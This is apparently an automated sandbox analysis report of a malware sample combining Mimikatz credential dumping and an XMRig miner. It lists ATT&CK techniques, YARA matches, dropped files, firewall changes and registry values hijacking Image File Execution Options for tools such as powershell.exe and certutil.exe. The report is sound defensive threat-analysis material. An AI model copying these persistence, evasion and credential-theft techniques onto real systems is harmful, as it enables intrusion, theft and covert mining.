mimikatz | 5ebfddb64cef885aac0e58a9a2df38d0a7ce8f28172ccb42c49b7530d694f3b0

Analysis

max time kernel
150s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16-11-2024 09:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-11-16_382d24f60ca43cbbe5f48ac5057ac1e0_hacktools_icedid_mimikatz.exe
Size

17.7MB
MD5

382d24f60ca43cbbe5f48ac5057ac1e0
SHA1

327b0fa299272392031fbcd5c0ec3f3160ba207f
SHA256

5ebfddb64cef885aac0e58a9a2df38d0a7ce8f28172ccb42c49b7530d694f3b0
SHA512

1362e22446350763934f632c74e2e98b7427dbc71a341e6aeb87ebc7c78f3b0cda39024ddb9264a335669066c462774d6e62656e90de13b6a8cf71317b052341
SSDEEP

196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYPHlTPemknGzwHdOgEPHd9BYX/nivPl/:a3jz0E52/iv1E3jz0E52/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2704 created 2116	2704	mgmtcbi.exe	38

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (20335) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral2/memory/4460-177-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	xmrig
behavioral2/memory/4460-181-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	xmrig
behavioral2/memory/4460-202-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	xmrig
behavioral2/memory/4460-211-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	xmrig
behavioral2/memory/4460-220-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	xmrig
behavioral2/memory/4460-232-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	xmrig
behavioral2/memory/4460-248-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	xmrig
behavioral2/memory/4460-496-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	xmrig
behavioral2/memory/4460-497-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	xmrig
behavioral2/memory/4460-499-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

resource	yara_rule
behavioral2/memory/3628-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/3628-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x0007000000023ca6-7.dat	mimikatz
behavioral2/memory/3616-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/3308-138-0x00007FF6735F0000-0x00007FF6736DE000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	mgmtcbi.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	mgmtcbi.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	mgmtcbi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	mgmtcbi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	mgmtcbi.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3320	netsh.exe
4692	netsh.exe

Executes dropped EXE 27 IoCs

pid	Process
3616	mgmtcbi.exe
2704	mgmtcbi.exe
3396	wpcap.exe
4532	liuibviiz.exe
3308	vfshost.exe
3628	xohudmc.exe
4748	fknvgk.exe
4576	iyibcmiuc.exe
4460	ltbtbc.exe
4936	iyibcmiuc.exe
4712	iyibcmiuc.exe
2044	iyibcmiuc.exe
1840	iyibcmiuc.exe
2836	iyibcmiuc.exe
1472	iyibcmiuc.exe
464	iyibcmiuc.exe
2216	iyibcmiuc.exe
2040	iyibcmiuc.exe
5100	iyibcmiuc.exe
3828	iyibcmiuc.exe
2896	iyibcmiuc.exe
3280	iyibcmiuc.exe
2596	iyibcmiuc.exe
4912	iyibcmiuc.exe
4116	iyibcmiuc.exe
1924	mgmtcbi.exe
1488	btuizeiim.exe

Loads dropped DLL 12 IoCs

pid	Process
3396	wpcap.exe
3396	wpcap.exe
3396	wpcap.exe
3396	wpcap.exe
3396	wpcap.exe
3396	wpcap.exe
3396	wpcap.exe
3396	wpcap.exe
3396	wpcap.exe
4532	liuibviiz.exe
4532	liuibviiz.exe
4532	liuibviiz.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
70	ifconfig.me
71	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\fknvgk.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\fknvgk.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	mgmtcbi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	mgmtcbi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	mgmtcbi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	mgmtcbi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	mgmtcbi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\088D7AA6D7DCA369223412E8DEF831B8	mgmtcbi.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	mgmtcbi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\088D7AA6D7DCA369223412E8DEF831B8	mgmtcbi.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	mgmtcbi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	mgmtcbi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	mgmtcbi.exe

UPX packed file 34 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3308-136-0x00007FF6735F0000-0x00007FF6736DE000-memory.dmp	upx
behavioral2/memory/3308-138-0x00007FF6735F0000-0x00007FF6736DE000-memory.dmp	upx
behavioral2/files/0x0007000000023cfb-135.dat	upx
behavioral2/files/0x0007000000023d06-157.dat	upx
behavioral2/memory/4576-156-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp	upx
behavioral2/memory/4576-159-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp	upx
behavioral2/memory/4460-164-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	upx
behavioral2/files/0x0007000000023d03-165.dat	upx
behavioral2/memory/4936-170-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp	upx
behavioral2/memory/4712-174-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp	upx
behavioral2/memory/4460-177-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	upx
behavioral2/memory/2044-179-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp	upx
behavioral2/memory/4460-181-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	upx
behavioral2/memory/1840-184-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp	upx
behavioral2/memory/2836-188-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp	upx
behavioral2/memory/1472-192-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp	upx
behavioral2/memory/464-196-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp	upx
behavioral2/memory/2216-200-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp	upx
behavioral2/memory/4460-202-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	upx
behavioral2/memory/2040-205-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp	upx
behavioral2/memory/5100-209-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp	upx
behavioral2/memory/4460-211-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	upx
behavioral2/memory/3828-214-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp	upx
behavioral2/memory/2896-218-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp	upx
behavioral2/memory/4460-220-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	upx
behavioral2/memory/3280-223-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp	upx
behavioral2/memory/2596-227-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp	upx
behavioral2/memory/4912-231-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp	upx
behavioral2/memory/4460-232-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	upx
behavioral2/memory/4116-235-0x00007FF7E82C0000-0x00007FF7E831B000-memory.dmp	upx
behavioral2/memory/4460-248-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	upx
behavioral2/memory/4460-496-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	upx
behavioral2/memory/4460-497-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	upx
behavioral2/memory/4460-499-0x00007FF73F8B0000-0x00007FF73F9D0000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\jhetmctcv\UnattendGC\specials\posh-0.dll	mgmtcbi.exe
File created	C:\Windows\ime\mgmtcbi.exe	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\bctzbzczb\liuibviiz.exe	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\spoolsrv.exe	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\vimpcsvc.xml	mgmtcbi.exe
File created	C:\Windows\ybemumnz\docmicfg.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\Corporate\mimilib.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\upbdrjv\swrpwe.exe	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\bctzbzczb\btuizeiim.exe	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\tibe-2.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\Corporate\mimidrv.sys	mgmtcbi.exe
File opened for modification	C:\Windows\ybemumnz\svschost.xml	mgmtcbi.exe
File opened for modification	C:\Windows\ybemumnz\schoedcl.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\spoolsrv.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\docmicfg.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\AppCapture32.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\libxml2.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\docmicfg.exe	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\svschost.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\libeay32.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\svschost.exe	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\vimpcsvc.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\schoedcl.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\schoedcl.exe	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\svschost.xml	mgmtcbi.exe
File opened for modification	C:\Windows\ybemumnz\docmicfg.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\Shellcode.ini	mgmtcbi.exe
File opened for modification	C:\Windows\jhetmctcv\bctzbzczb\Result.txt	btuizeiim.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\ucl.dll	mgmtcbi.exe
File opened for modification	C:\Windows\ybemumnz\vimpcsvc.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\docmicfg.xml	mgmtcbi.exe
File created	C:\Windows\ybemumnz\vimpcsvc.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\trch-1.dll	mgmtcbi.exe
File created	C:\Windows\ybemumnz\svschost.xml	mgmtcbi.exe
File opened for modification	C:\Windows\jhetmctcv\Corporate\log.txt	cmd.exe
File created	C:\Windows\jhetmctcv\bctzbzczb\scan.bat	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\bctzbzczb\Packet.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\coli-0.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\schoedcl.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\trfo-2.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\tucl-1.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\xdvl-0.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\AppCapture64.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\cnli-1.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\crli-0.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\zlib1.dll	mgmtcbi.exe
File created	C:\Windows\ybemumnz\spoolsrv.xml	mgmtcbi.exe
File created	C:\Windows\ybemumnz\schoedcl.xml	mgmtcbi.exe
File opened for modification	C:\Windows\ybemumnz\spoolsrv.xml	mgmtcbi.exe
File opened for modification	C:\Windows\ybemumnz\mgmtcbi.exe	2024-11-16_382d24f60ca43cbbe5f48ac5057ac1e0_hacktools_icedid_mimikatz.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\exma-1.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\spoolsrv.xml	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\Corporate\vfshost.exe	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\bctzbzczb\ip.txt	mgmtcbi.exe
File opened for modification	C:\Windows\jhetmctcv\bctzbzczb\Packet.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\bctzbzczb\wpcap.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\ssleay32.dll	mgmtcbi.exe
File created	C:\Windows\jhetmctcv\UnattendGC\specials\vimpcsvc.exe	mgmtcbi.exe
File created	C:\Windows\ybemumnz\mgmtcbi.exe	2024-11-16_382d24f60ca43cbbe5f48ac5057ac1e0_hacktools_icedid_mimikatz.exe
File created	C:\Windows\jhetmctcv\bctzbzczb\wpcap.exe	mgmtcbi.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5032	sc.exe
1052	sc.exe
2548	sc.exe
3264	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
